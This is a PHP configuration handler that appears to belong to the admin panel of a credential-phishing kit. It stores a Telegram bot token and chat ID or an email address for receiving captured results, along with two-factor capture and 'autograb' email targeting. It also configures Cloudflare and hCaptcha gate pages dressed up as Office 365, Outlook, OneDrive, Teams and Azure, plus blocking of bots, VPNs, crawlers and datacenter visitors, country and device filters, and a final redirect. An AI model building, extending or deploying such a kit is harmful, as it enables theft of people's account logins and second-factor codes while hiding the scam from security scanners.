<?php
include_once "class.php";
$auth = new User();

header('Content-Type: application/json');

unset ($_SESSION["captcha"]);
unset ($_SESSION["cloudflare"]);
unset ($_SESSION["email"]);
unset ($_SESSION["user_data"]);
unset ($_SESSION["auth"]);
unset ($_SESSION["status"]);
unset ($_SESSION["info_token_credentials"]);
unset ($_SESSION["info_token_2fa"]);

function isValidEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

if (isset($_POST['sendtype']) && isset($_POST['onetimeuse']) && isset($_POST['autograb'])) {
    $config = require '../config.php';

    if($_POST['autograb'] == 0 && isset($_POST['lock_email']) && $_POST['lock_email'] == 1){
        $response = array(
            'status' => 'error',
            'message' => 'Please disable Lock Email'
        );
        echo json_encode($response);
        die();
    }

    $config['sendtype'] = $_POST['sendtype'];

    if(isset($_POST['telegramsender']) && isset($_POST['chatid']) && isset($_POST['bottoken'])){
        $config['telegram']['active'] = true;
        $config['telegram']['chat_id'] = $_POST['chatid'];
        $config['telegram']['bot_token'] = $_POST['bottoken'];
    }else{
        $config['telegram']['active'] = false;
    }

    if(isset($_POST['twofactor'])){
        $config['telegram']['twofactor'] = true;
    }else{
        $config['telegram']['twofactor'] = false;
    }

    if(isset($_POST['emailsender']) && isset($_POST['email'])){
        $config['email']['active'] = true;
        if (isValidEmail($_POST['email'])) {
            $config['email']['email'] = $_POST['email'];
        } else {
            $response = array(
                'status' => 'error',
                'message' => 'Please enter a valid email address'
            );
            echo json_encode($response);
            die();
        }
    }else{
        $config['email']['active'] = false;
    }

    if(isset($_POST['lock_email']) && isset($_POST['lock_email_list'])){
        if($_POST['autograb'] == 0){
            $response = array(
                'status' => 'error',
                'message' => 'You need to set Additionals > Only Autograb Allowed if want to use lock email'
            );
            echo json_encode($response);
            die();
        }

        $config['lock_email']['active'] = true;

        if(empty($_POST['lock_email_list'])){
            $response = array(
                'status' => 'error',
                'message' => 'Please dont make input on Files section empty'
            );
            echo json_encode($response);
            die();
        }

        if (!file_exists('../'.$_POST['lock_email_list'])) {
            $response = array(
                'status' => 'error',
                'message' => 'Email list not found'
            );
            echo json_encode($response);
            die();
        }

        $config['lock_email']['list'] = $_POST['lock_email_list'];
    }else{
        $config['lock_email']['active'] = false;
    }

    if(isset($_POST['captcha']) && isset($_POST['sitekey']) && isset($_POST['publickey'])){
        $config['captcha']['active'] = true;
        
        if ($_POST['score'] >= 0.0 && $_POST['score'] <= 1.0) {
            $config['captcha']['publickey'] = $_POST['publickey'];
            $config['captcha']['sitekey'] = $_POST['sitekey'];
            $config['captcha']['score'] = $_POST['score'];
        } else {
            $response = array(
                'status' => 'error',
                'message' => 'Captcha score is beetween 0.1 to 0.9'
            );
            echo json_encode($response);
            die();
        }
        
    }else{
        $config['captcha']['active'] = false;
    }

    if(isset($_POST['cloudflare']) && isset($_POST['cloudsitekey']) && isset($_POST['cloudpublickey'])){
        $config['cloudflare']['active'] = true;
        
        $config['cloudflare']['cloudsitekey'] = $_POST['cloudsitekey'];
        $config['cloudflare']['cloudpublickey'] = $_POST['cloudpublickey'];
        $config['cloudflare']['cloudinvisible'] = $_POST['cloudinvisible'];
        $config['cloudflare']['background'] = $_POST['cloudflare_background'] ?? 'empty';
        
        if($_POST['cloudflare_background'] == 'custom' && !empty($_POST['cloudflare_custom_background'])){
            if (!file_exists('../page/images/'.$_POST['cloudflare_custom_background'])) {
                $response = array(
                    'status' => 'error',
                    'message' => 'Custom background image not found in page/images/ folder'
                );
                echo json_encode($response);
                die();
            }
            $config['cloudflare']['custom_background'] = $_POST['cloudflare_custom_background'];
        } elseif ($_POST['cloudflare_background'] == 'url' && !empty($_POST['cloudflare_custom_background'])) {
            // Validate URL format
            if (!filter_var($_POST['cloudflare_custom_background'], FILTER_VALIDATE_URL)) {
                $response = array(
                    'status' => 'error',
                    'message' => 'Please provide a valid URL for custom background'
                );
                echo json_encode($response);
                die();
            }
            $config['cloudflare']['custom_background'] = $_POST['cloudflare_custom_background'];
        } elseif ($_POST['cloudflare_background'] == 'images' && !empty($_POST['cloudflare_custom_background'])) {
            // For images option, validate both predefined names and direct filenames
            $predefinedImages = ['default', 'office365', 'outlook', 'onedrive', 'excel', 'sharepoint'];
            $isValidPredefined = in_array($_POST['cloudflare_custom_background'], $predefinedImages);
            $isValidFile = file_exists('../page/images/'.$_POST['cloudflare_custom_background']);
            
            // Check if it's a predefined name that maps to an existing image (same as hCaptcha)
            $imageMapping = [
                'default' => 'default.png',      // Same as hCaptcha default
                'office365' => '365.png',     // Same as hCaptcha office 365
                'outlook' => 'outlook.png',      // Same as hCaptcha outlook
                'onedrive' => 'onedrive.png',    // Same as hCaptcha onedrive
                'excel' => 'excel.png',          // Same as hCaptcha payment
                'sharepoint' => 'sharepoint.png'           // Same as hCaptcha sharepoint
            ];
            $isValidMapped = $isValidPredefined && file_exists('../page/images/'.$imageMapping[$_POST['cloudflare_custom_background']]);
            
            if (!$isValidFile && !$isValidMapped) {
                $response = array(
                    'status' => 'error',
                    'message' => 'Background image not found. Please check the filename or use a valid theme name.'
                );
                echo json_encode($response);
                die();
            }
            $config['cloudflare']['custom_background'] = $_POST['cloudflare_custom_background'];
        } elseif (($_POST['cloudflare_background'] == 'custom' || $_POST['cloudflare_background'] == 'url' || $_POST['cloudflare_background'] == 'images') && empty($_POST['cloudflare_custom_background'])) {
            $response = array(
                'status' => 'error',
                'message' => 'Please provide a background image filename or URL'
            );
            echo json_encode($response);
            die();
        } else {
            // For predefined backgrounds, validate that the corresponding image exists (same as hCaptcha)
            $imageMapping = [
                'default' => 'default.png',      // Same as hCaptcha default
                'office365' => '365.png',     // Same as hCaptcha office 365
                'outlook' => 'outlook.png',      // Same as hCaptcha outlook
                'onedrive' => 'onedrive.png',    // Same as hCaptcha onedrive
                'excel' => 'excel.png',          // Same as hCaptcha payment
                'sharepoint' => 'sharepoint.png'           // Same as hCaptcha sharepoint
            ];
            
            if ($_POST['cloudflare_background'] !== 'empty' && isset($imageMapping[$_POST['cloudflare_background']])) {
                $requiredImage = $imageMapping[$_POST['cloudflare_background']];
                if (!file_exists('../page/images/'.$requiredImage)) {
                    $response = array(
                        'status' => 'error',
                        'message' => 'Required background image '.$requiredImage.' not found in page/images/ folder'
                    );
                    echo json_encode($response);
                    die();
                }
            }
            
            // Set to empty if using predefined backgrounds
            $config['cloudflare']['custom_background'] = '';
        }
    }else{
        $config['cloudflare']['active'] = false;
    }

    if(isset($_POST['hcaptcha']) && isset($_POST['hcaptchasitekey']) && isset($_POST['hcaptchapublickey'])){
        $config['hcaptcha']['active'] = true;
        
        $config['hcaptcha']['hcaptchasitekey'] = $_POST['hcaptchasitekey'];
        $config['hcaptcha']['hcaptchapublickey'] = $_POST['hcaptchapublickey'];
        $config['hcaptcha']['difficulty'] = $_POST['hcaptcha_difficulty'] ?? 'normal';
        $config['hcaptcha']['background'] = $_POST['hcaptcha_background'] ?? 'default';
        
        if($_POST['hcaptcha_background'] == 'custom' && !empty($_POST['hcaptcha_custom_background'])){
            if (!file_exists('../page/images/'.$_POST['hcaptcha_custom_background'])) {
                $response = array(
                    'status' => 'error',
                    'message' => 'hCaptcha custom background image not found in page/images/ folder'
                );
                echo json_encode($response);
                die();
            }
            $config['hcaptcha']['custom_background'] = $_POST['hcaptcha_custom_background'];
        } elseif ($_POST['hcaptcha_background'] == 'url' && !empty($_POST['hcaptcha_custom_background'])) {
            // Validate URL format
            if (!filter_var($_POST['hcaptcha_custom_background'], FILTER_VALIDATE_URL)) {
                $response = array(
                    'status' => 'error',
                    'message' => 'Please enter a valid URL for the background image'
                );
                echo json_encode($response);
                die();
            }
            $config['hcaptcha']['custom_background'] = $_POST['hcaptcha_custom_background'];
        } elseif ($_POST['hcaptcha_background'] == 'images' && !empty($_POST['hcaptcha_custom_background'])) {
            // For images option, validate both predefined names and direct filenames
            $predefinedImages = ['default', 'office365', 'outlook', 'onedrive', 'teams', 'azure'];
            $isValidPredefined = in_array($_POST['hcaptcha_custom_background'], $predefinedImages);
            $isValidFile = file_exists('../page/images/'.$_POST['hcaptcha_custom_background']);
            
            // Check if it's a predefined name that maps to an existing image (same as Additional section)
            $imageMapping = [
                'default' => 'payment.png',      // Same as Additional section default
                'office365' => 'office.png',     // Same as Additional section office 365
                'outlook' => 'outlook.png',      // Same as Additional section outlook
                'onedrive' => 'onedrive.png',    // Same as Additional section onedrive
                'teams' => 'teams.png',          // Teams specific
                'azure' => 'azure.png'           // Azure specific
            ];
            $isValidMapped = $isValidPredefined && file_exists('../page/images/'.$imageMapping[$_POST['hcaptcha_custom_background']]);
            
            if (!$isValidFile && !$isValidMapped) {
                $response = array(
                    'status' => 'error',
                    'message' => 'hCaptcha background image not found. Use theme name (outlook, teams, etc.) or existing filename in page/images/ folder'
                );
                echo json_encode($response);
                die();
            }
            $config['hcaptcha']['custom_background'] = $_POST['hcaptcha_custom_background'];
        } elseif (($_POST['hcaptcha_background'] == 'custom' || $_POST['hcaptcha_background'] == 'url' || $_POST['hcaptcha_background'] == 'images') && empty($_POST['hcaptcha_custom_background'])) {
            $response = array(
                'status' => 'error',
                'message' => 'Please provide a background image filename or URL'
            );
            echo json_encode($response);
            die();
        } else {
            // For predefined backgrounds, validate that the corresponding image exists (same as Additional section)
            $imageMapping = [
                'default' => 'default.png',      // Same as Additional section default
                'office365' => '365.png',     // Same as Additional section office 365
                'outlook' => 'outlook.png',      // Same as Additional section outlook
                'onedrive' => 'onedrive.png',    // Same as Additional section onedrive
                'excel' => 'excel.png',          // Teams specific
                'sharepoint' => 'sharepoint.png'           // Azure specific
            ];
            
            if ($_POST['hcaptcha_background'] !== 'empty' && isset($imageMapping[$_POST['hcaptcha_background']])) {
                $requiredImage = $imageMapping[$_POST['hcaptcha_background']];
                if (!file_exists('../page/images/'.$requiredImage)) {
                    $response = array(
                        'status' => 'error',
                        'message' => "Required background image '$requiredImage' not found in page/images/ folder"
                    );
                    echo json_encode($response);
                    die();
                }
            }
            
            // Set to empty if using predefined backgrounds
            $config['hcaptcha']['custom_background'] = '';
        }
    }else{
        $config['hcaptcha']['active'] = false;
    }

    $config['first_message'] = $_POST['first_message'];
    if($_POST['first_message'] == 'images'){
        if (!file_exists('../'.$_POST['custom_firstmessage'])) {
            $response = array(
                'status' => 'error',
                'message' => 'Images first message not found'
            );
            echo json_encode($response);
            die();
        }

        $config['custom_firstmessage'] = $_POST['custom_firstmessage'];
    }else if($_POST['first_message'] == 'text'){
        
        $config['custom_firstmessage'] = $_POST['custom_firstmessage'];
    }

    $config['finalredirect'] = $_POST['finalredirect'];
    $config['autograb'] = $_POST['autograb'];
    $config['onetimeuse'] = $_POST['onetimeuse'];
    $config['grablogo'] = $_POST['grablogo'];
    $config['password'] = $_POST['password'];
    
    // Handle Custom Session setting
    if(isset($_POST['customsession'])){
        $config['customsession'] = true;
    }else{
        $config['customsession'] = false;
    }
    
    $config['selection'] = $_POST['selection'];
    $config['template'] = $_POST['template'];
    $config['bot']['abuser'] = $_POST['bot_abuser'];
    $config['bot']['datacenter']  = $_POST['bot_datacenter'];
    $config['bot']['vpn']  = $_POST['bot_vpn'];
    $config['bot']['proxy']  = $_POST['bot_proxy'];
    $config['bot']['crawler']  = $_POST['bot_crawler'];

    if(!empty($_POST['valid_files']) && !empty($_POST['invalid_files']) && !empty($_POST['visit_files'])){
        $config['files']['valid'] = $_POST['valid_files'];
        $config['files']['invalid'] = $_POST['invalid_files'];
        $config['files']['visit'] = $_POST['visit_files'];
    }else{
        $response = array(
            'status' => 'error',
            'message' => 'Please dont make input on Files section empty'
        );
        echo json_encode($response);
        die();
    }

    $config['background'] = $_POST['background'];
    if($_POST['background'] == 'custom'){
        $config['custom_background'] = $_POST['custom_background'];
    }

    $all_countries = $auth->getCountry();
    $checked_countries = isset($_POST['countries']) ? $_POST['countries'] : [];
    $config['unchecked_countries'] = array_diff(array_keys($all_countries), $checked_countries);

    $checked_devices = isset($_POST['devices']) ? $_POST['devices'] : [];
    $all_devices = ['desktop', 'mobile', 'tablet']; // List of all possible devices
    $config['unchecked_devices'] = array_diff($all_devices, $checked_devices);

    $configContent = "<?php\n\n\$config = " . var_export($config, true) . ";\nreturn \$config;\n";
    if (file_put_contents('../config.php', $configContent) === false) {
        $response = array(
            'status' => 'error',
            'message' => 'Failed to edit config.php'
        );
    }

    $response = array(
        'status' => 'success',
        'message' => 'Your request is already saved successfully.'
    );

} else {
    // Return an error message if some POST variables are missing
    $response = array(
        'status' => 'error',
        'message' => 'Please don\'t change any text in config.php.'
    );
}

echo json_encode($response);
?>